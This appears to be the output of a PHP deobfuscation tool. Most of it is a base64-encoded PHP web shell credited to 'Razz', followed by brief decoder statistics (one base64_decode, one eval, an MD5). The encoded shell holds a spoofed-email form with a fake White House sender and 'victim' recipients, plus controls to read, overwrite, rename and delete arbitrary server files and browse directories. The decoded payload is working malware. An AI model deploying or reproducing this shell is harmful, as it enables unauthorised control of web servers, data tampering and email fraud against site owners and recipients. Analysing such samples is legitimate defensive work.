CAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgID8+IAogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIj4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1haWwiIC8+IAogICAgICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBGcm9tIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJmcm9tIiB2YWx1ZT0icHJlc2lkZW50QHdoaXRlaG91c2UuZ292IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICdwcmVzaWRlbnRAd2hpdGVob3VzZS5nb3YnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0ncHJlc2lkZW50QHdoaXRlaG91c2UuZ292JzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBUbyAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InRvIiB2YWx1ZT0idmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICd2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20nKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0ndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBTdWJqZWN0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJzdWJqZWN0IiB2YWx1ZT0iSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6IScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSdKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohJzsiIC8+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPiAKICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2UiIGNvbHM9IjE3MyIgcm93cz0iMTAiIGNsYXNzPSJjbWQiPkFsbCBpIHJlbWVtYmVyIGFyZSB0aG9zZSBsb25lbHkgbmlnaHRzIHdoZW4gaSB3YXMgZGVmYWNpbmcgdGhvc2UgaW5zZWN1cmUgd2Vic2l0ZXMhPC90ZXh0YXJlYT4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIHJvd3NwYW49IjIiPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJtYXJnaW4gOiAyMHB4OyBtYXJnaW4tbGVmdDogMzkwcHg7IHBhZGRpbmcgOiAxMHB4OyB3aWR0aDogMTAwcHg7IiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJvd24iIHZhbHVlPSJTZW5kISA6RCIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAKICAgICAgICA8L2Zvcm0+ICAgIAogICAgICAgIDw/cGhwIAogICAgfSAKfSAKCgovLyBFZGl0IEZpbGUgCgplbHNlIGlmKGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiAKICAgICAgICBpc3NldCgkX1BPU1RbJ2NvbnRlbnQnXSkgKSAKeyAKICAgIGlmKGlzX2RpcigkX1BPU1RbJ2ZpbGUnXSkpIAogICAgeyAKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOiIuJHNlbGYuIj9kaXI9Ii4kX1BPU1RbJ2ZpbGUnXSk7IAogICAgfSAKICAgIGlmKGZpbGVfZXhpc3RzKCRfUE9TVFsnZmlsZSddKSkgCiAgICB7IAogICAgICAgICRoYW5kbGUgPSBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwidyIpOyAKICAgICAgICBmd3JpdGUoJGhhbmRsZSwkX1BPU1RbJ2NvbnRlbnQnXSk7IAogICAgICAgIGVjaG8gIllvdXIgY2hhbmdlcyB3ZXJlIFN1Y2Nlc3NmdWxseSBTYXZlZCEiOyAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPkZpbGUgTmFtZSBTcGVjaWZpZWQgZG9lcyBub3QgZXhpc3RzITwvcD4iOyAKICAgIH0gCn0gCgovLyBQSFAgZGVjb2RlciAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2RlY29kZSddKSkgCnsgCiAgICAkY29udGVudCA9ICIiOyAKICAgIGlmKGlzc2V0KCRfUE9TVFsnY29udGVudCddKSkgCiAgICB7IAogICAgICAgICRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycyhnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2NvbnRlbnQnXSkpKTsgICAgICAgIAogICAgfSAKICAgID8+IAogICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4gCiAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIHJvd3M9IjIwIiBjb2xzPSIxMDAiIGNsYXNzPSJjbWQiPjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPjxiciAvPiAKICAgICAgICA8aW5wdXQgbmFtZT0ic2F2ZSIgdHlwZT0iU3VibWl0IiB2YWx1ZT0iRGVjb2RlIiBjbGFzcz0ib3duIiBpZD0ic3BhY2luZyIvPiAKICAgIDwvZm9ybT4gCiAgICA8P3BocCAKfSAKCi8vb3BlbiBmaWxlIAoKZWxzZSBpZihpc3NldCgkX0dFVFsnb3BlbiddKSkgCnsgCiAgICA/PiAKICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iPD9waHAgZWNobyAkc2VsZjs/PiIgPiAKICAgICAgICA8dGFibGU+IAogICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgPHRkPkZpbGUgPC90ZD48dGQ+IDogPC90ZD48dGQ+PGlucHV0IHZhbHVlPSI8P3BocCBlY2hvICRfR0VUWydvcGVuJ107Pz4iIGNsYXNzPSJjbWQiIG5hbWU9ImZpbGUiIC8+PC90ZD4gCiAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgPHRkPlNpemUgPC90ZD48dGQ+IDogPC90ZD48dGQ+PGlucHV0IHZhbHVlPSI8P3BocCBlY2hvIGZpbGVzaXplKCRfR0VUWydvcGVuJ10pOz8+IiBjbGFzcz0iY21kIiAvPjwvdGQ+ICAKICAgICAgICAgICAgPC90cj4gCiAgICAgICAgPC90YWJsZT4gCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIHJvd3M9IjIwIiBjb2xzPSIxMDAiIGNsYXNzPSJjbWQiPjw/cGhwIAogICAgICAgICRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnb3BlbiddKSk7IAogICAgICAgIGlmKCRjb250ZW50KSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICRjb250ZW50OyAKICAgICAgICB9IAogICAgICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgCiAgICAgICAgeyAKICAgICAgICAgICAgZm9wZW4oJF9HRVRbJ29wZW4nXSk7IAogICAgICAgICAgICB3aGlsZSghZmVvZigpKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkX0dFVFsnb3BlbiddKSk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCgogICAgICAgID8+IAogICAgICAgIDwvdGV4dGFyZWE+PGJyIC8+IAogICAgICAgIDxpbnB1dCBuYW1lPSJzYXZlIiB0eXBlPSJTdWJtaXQiIHZhbHVlPSJTYXZlIENoYW5nZXMiIGNsYXNzPSJvd24iIGlkPSJzcGFjaW5nIi8+IAogICAgICAgIDwvZm9ybT4gCiAgICA8P3BocCAKfSAKCi8vUmVuYW1lIAoKZWxzZSBpZihpc3NldCgkX0dFVFsncmVuYW1lJ10pKSAKeyAKICAgIGlmKGlzc2V0KCRfR0VUWyd0byddKSAmJiBpc3NldCgkX0dFVFsncmVuYW1lJ10pKSAKICAgIHsgCiAgICAgICAgaWYocmVuYW1lKCRfR0VUWydyZW5hbWUnXSwkX0dFVFsndG8nXSkgPT0gRkFMU0UpIAogICAgICAgIHsgCiAgICAgICAgICAgID8+IAogICAgICAgICAgICA8YmlnPjxwIGNsYXNzPSJibGluayI+Q2FudCByZW5hbWUgdGhlIGZpbGUgc3BlY2lmaWVkISBQbGVhc2UgY2hlY2sgdGhlIGZpbGUtbmFtZSAsIFBlcm1pc3Npb25zIGFuZCB0cnkgYWdhaW4hPC9wPjwvYmlnPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgfSAKICAgICAgICBlbHNlIAogICAgICAgIHsgCiAgICAgICAgICAgID8+IAogICAgICAgICAgICA8YmlnPjxwIGNsYXNzPSJibGluayI+RmlsZSBSZW5hbWVkICwgUmV0dXJuIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGY7Pz4iPkhlcmU8L2E+PC9wPjwvYmlnPiAKICAgICAgICAgICAgPD9waHAgCiAgICAgICAgfSAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKPz4gCiAgICA8Zm9ybSBtZXRob2Q9IkdFVCIgYWN0aW9uPSI8P3BocCBlY2hvICRzZWxmOz8+IiA+IAogICAgICAgIDx0YWJsZT4gCiAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQ+RmlsZSA8L3RkPjx0ZD4gOiA8L3RkPjx0ZD48aW5wdXQgdmFsdWU9Ijw/cGhwIGVjaG8gJF9HRVRbJ3JlbmFtZSddOz8+IiBjbGFzcz0iY21kIiBuYW1lPSJyZW5hbWUiIC8+PC90ZD4gCiAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgPHRkPlRvIDwvdGQ+PHRkPiA6IDwvdGQ+PHRkPjxpbnB1dCB2YWx1ZT0iPD9waHAgZWNobyAkX0dFVFsncmVuYW1lJ107Pz4iIGNsYXNzPSJjbWQiIG5hbWU9InRvIiAvPjwvdGQ+ICAKICAgICAgICAgICAgPC90cj4gCiAgICAgICAgPC90YWJsZT4gCiAgICAgICAgPGlucHV0IHR5cGU9IlN1Ym1pdCIgdmFsdWU9IlJlbmFtZSA6RCIgY2xhc3M9Im93biIgc3R5bGU9Im1hcmdpbi1sZWZ0OiAxNjBweDtwYWRkaW5nOiA1cHg7Ii8+IAogICAgICAgIDwvZm9ybT4gICAgCiAgICA8P3BocCAKICAgIH0gCn0gCgoKLy8gTm8gcmVxdWVzdCBtYWRlIAovLyBEaXNwbGF5IGhvbWUgcGFnZSAKCmVsc2UgCnsgCiAgICAkZGlyID0gZ2V0Y3dkKCk7IAogICAgaWYoaXNzZXQoJF9HRVRbJ2RpciddKSkgCiAgICB7IAogICAgICAgICRkaXIgPSAkX0dFVFsnZGlyJ107IAogICAgfSAKICAgID8+IAogICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gCiAgICA8dHI+IAogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIiAgYWN0aW9uPSI8P3BocCBlY2hvICRzZWxmOz8+Ij4gCiAgICAgICAgPHRkIHdpZHRoPSIxMDAiPlBXRDwvdGQ+PHRkIHdpZHRoPSI0MTAiPjxpbnB1dCBuYW1lPSJkaXIiIGNsYXNzPSJjbWQiIGlkPSJtYWluSW5wdXQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXI7Pz4iLz48L3RkPiAKICAgICAgICA8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkcwISEiIGNsYXNzPSJvd24iIC8+PC90ZD4gCiAgICAgICAgPC9mb3JtPiAKICAgIDwvdHI+IAogICAgPC90YWJsZT4gCiAgICAgCiAgICA8dGFibGUgaWQ9Im1hcmdpbnMiIGNsYXNzPSJmaWxlcyI+IAogICAgPHRyPiAKICAgICAgICA8dGggY2xhc3M9ImhlYWRlciIgd2lkdGg9IjUwMHB4Ij5OYW1lPC90aD4gCiAgICAgICAgPHRoIHdpZHRoPSIxMDBweCIgY2xhc3M9ImhlYWRlciI+U2l6ZTwvdGg+IAogICAgICAgIDx0aCB3aWR0aD0iMTAwcHgiIGNsYXNzPSJoZWFkZXIiPlBlcm1pc3Npb25zPC90aD4gCiAgICAgICAgPHRoIHdpZHRoPSIxMDBweCIgY2xhc3M9ImhlYWRlciI+RGVsZXRlPC90aD4gCiAgICAgICAgPHRoIHdpZHRoPSIxMDBweCIgY2xhc3M9ImhlYWRlciI+UmVuYW1lPC90aD4gCiAgICA8L3RyPiAKICAgIDw/cGhwIAogICAgIAogICAgaWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSkgCiAgICB7IAogICAgICAgIGlmKHVubGluaygoJF9HRVRbJ2RlbGV0ZSddKSkgPT0gRkFMU0UpIAogICAgICAgIHsgCiAgICAgICAgICAgIGVjaG8gIjxwIGlkPSdtYXJnaW5zJyBzdHlsZT0nY29sb3I6cmVkOyc+Q291bGQgTm90IERlbGV0ZSB0aGUgZmlsZSBTcGVjaWZpZWQhPC9wPiI7IAogICAgICAgIH0gCiAgICB9IAogICAgaWYoaXNfZGlyKCRkaXIpKSAKICAgIHsgCiAgICAgICAgJGhhbmRsZSA9IG9wZW5kaXIoJGRpcik7IAogICAgICAgIGlmKCRoYW5kbGUgIT0gRkFMU0UpIAogICAgICAgIHsgCiAgICAgICAgaWYoJGRpclsoc3RybGVuKCRkaXIpLTEpXSAhPSAkU0VQQVJBVE9SKXskZGlyID0gJGRpci4kU0VQQVJBVE9SO30gCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgeyAKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikgCiAgICAgICAgeyAKICAgICAgICAgICAgICAgIC8vZWNobyAkZmlsZTsgCiAgICAgICAgICAgICAgICAvL2YgaXRzIGEgZGlyZWN0b3J5IAogICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRkaXIuJGZpbGUpKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgPz4gCiAgICAgICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2Rpcic+PGEgaHJlZj0nPD9waHAgZWNobyAkc2VsZiA/Pj9kaXI9PD9waHAgZWNobyAkZGlyLiRmaWxlID8+Jz4vPD9waHAgZWNobyAkZmlsZSA/PjwvYT48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2luZm8nPkRJUjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0naW5mbyc+RElSPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSI+PHRkIGNsYXNzPSJpbmZvIj48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmOz8+P3JlbmFtZT08P3BocCBlY2hvICRkaXIuJGZpbGU7Pz4iPlJlbmFtZTwvYT48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIC8vSXRzIGEgZmlsZSAgCiAgICAgICAgICAgICAgICBlbHNlIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICA/PiAKICAgICAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nPD9waHAgZWNobyAkc2VsZiA/Pj9vcGVuPTw/cGhwIGVjaG8gJGRpci4kZmlsZSA/Pic+PD9waHAgZWNobyAkZmlsZSA/PjwvYT48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2luZm8nPjw/cGhwIGVjaG8gSHVtYW5SZWFkYWJsZUZpbGVzaXplKGZpbGVzaXplKCRkaXIuJGZpbGUpKTs/PjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0naW5mbyc+PD9waHAgZWNobyBnZXRGaWxlUGVybWlzc2lvbnMoJGRpci4kZmlsZSk7Pz48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImluZm8iPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGY7Pz4/ZGVsZXRlPTw/cGhwIGVjaG8gJGRpci4kZmlsZTs/PiI+RGVsZXRlPC9hPjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaW5mbyI+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZjs/Pj9yZW5hbWU9PD9waHAgZWNobyAkZGlyLiRmaWxlOz8+Ij5SZW5hbWU8L2E+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPC90cj4gPC9mb250PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgfSAKICAgICAgICB9IAogICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOyAKICAgICAgICB9IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgIGVjaG8gIjxwIGNsYXNzPSdhbGVydCcgaWQ9J21hcmdpbnMnPiIuJF9HRVRbJ2RpciddLiIgaXMgPGI+Tk9UPC9iPiBhIFZhbGlkIERpcmVjdG9yeSE8YnIgLz48L3A+IjsgCiAgICB9IAogICAgPz4gCiAgICA8L3RhYmxlPiAKICAgIDw/cGhwIAogICAKfSAKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCj8+IAoKPD9waHAgCn0gCi8vIEVuZCBTaGVsbCAKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAo/PiAKPGJyIC8+PGJyIC8+PGJyIC8+PGJyIC8+IAoKPGRpdiBjbGFzcz0iZW5kIj4gCjxwIGFsaWduPSJjZW50ZXIiPjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjojMDBGRkZGO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPkNvZGVkIEJ5IFJhenogQCA8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6IzAwRkZGRjt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTozMHB4Ij48YSBocmVmPSIiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6ICMwMEZGRkYiPlsgQ2xpY2sgSGVyZSBdPC9mb250Pjxicj4KPC9mb250Pgo8YnI+PGJyPgo8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6cmVkO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjxzcGFuPjwvc3Bhbj5DYWxtZmVybWFqYUBnbWFpbC5Db008c2NyaXB0IGRhdGEtY2ZoYXNoPSdmOWUzMScgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KLyogPCFbQ0RBVEFbICovIWZ1bmN0aW9uKCl7dHJ5e3ZhciB0PSJjdXJyZW50U2NyaXB0ImluIGRvY3VtZW50P2RvY3VtZW50LmN1cnJlbnRTY3JpcHQ6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpLGU9dC5sZW5ndGg7ZS0tOylpZih0W2VdLmdldEF0dHJpYnV0ZSgiZGF0YS1jZmhhc2giKSlyZXR1cm4gdFtlXX0oKTtpZih0JiZ0LnByZXZpb3VzU2libGluZyl7dmFyIGUscixuLGksYz10LnByZXZpb3VzU2libGluZyxhPWMuZ2V0QXR0cmlidXRlKCJkYXRhLWNmZW1haWwiKTtpZihhKXtmb3IoZT0iIixyPXBhcnNlSW50KGEuc3Vic3RyKDAsMiksMTYpLG49MjthLmxlbmd0aC1uO24rPTIpaT1wYXJzZUludChhLnN1YnN0cihuLDIpLDE2KV5yLGUrPVN0cmluZy5mcm9tQ2hhckNvZGUoaSk7ZT1kb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShlKSxjLnBhcmVudE5vZGUucmVwbGFjZUNoaWxkKGUsYyl9dC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHQpO319Y2F0Y2godSl7fX0oKS8qIF1dPiAqLzwvc2NyaXB0PjwvZm9udD48YnI+PGJyPgo8YnI+Cjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjxhIGhyZWY9Imh0dHBzOi8vaW4ubGlua2VkaW4uY29tL2NvbXBhbnkvcmF6enNlY3VyaXR5IiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiBsaW1lIj5SYXp6IC0gRHogPC9mb250Pjxicj4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOmxpbWU7dGV4dC1zaGFkb3c6MHB4IDFweCA1cHggIzAwMDtmb250LXNpemU6MzBweCI+PGEgaHJlZj0iaHR0cHM6Ly93ZWIuZmFjZWJvb2suY29tL1NlcnZlci5DbGVhbjcxIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiBsaW1lIj5PZmZpY2lhbCBQYWdlPC9mb250Pjxicj4KPC9zY3JpcHQ+CjwvcD4gCjwvZGl2PiAKPC9ib2R5PiAKPC9odG1sPg==")); 
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 71baef07fe298711afb8df653cc93154
Eval Count 1
Decode Time 79 ms